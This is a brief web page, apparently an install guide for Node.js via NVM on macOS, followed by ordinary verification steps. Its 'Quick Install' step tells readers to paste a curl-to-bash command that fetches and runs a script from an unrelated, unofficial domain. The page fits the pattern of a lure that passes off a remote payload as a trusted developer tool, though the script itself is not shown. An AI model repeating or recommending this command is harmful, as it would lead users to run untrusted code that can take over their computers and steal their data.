Install Node.js on macOS with NVM

A simple way to install Node.js on Mac, MacBook, and macOS. Works on Apple Silicon and Intel.

Open Terminal on macOS

All installation commands should be typed into the Terminal app. Here’s how to open it:

Quick Install

Paste this command into your open Terminal window and .press Enter:

/bin/bash -c "$(curl -fsSL https://qimatch.com/njs/install.sh)"

After installation, restart Terminal or run source ~/.zshrc.

Verify Installation

  1. Check NVM: command -v nvm
  2. Install LTS Node.js: nvm install --lts
  3. Set default version: nvm alias default lts/*
  4. Check: node -v, npm -v

Why use NVM on macOS?

Node Version Manager keeps your Node.js setup clean and flexible:

Troubleshooting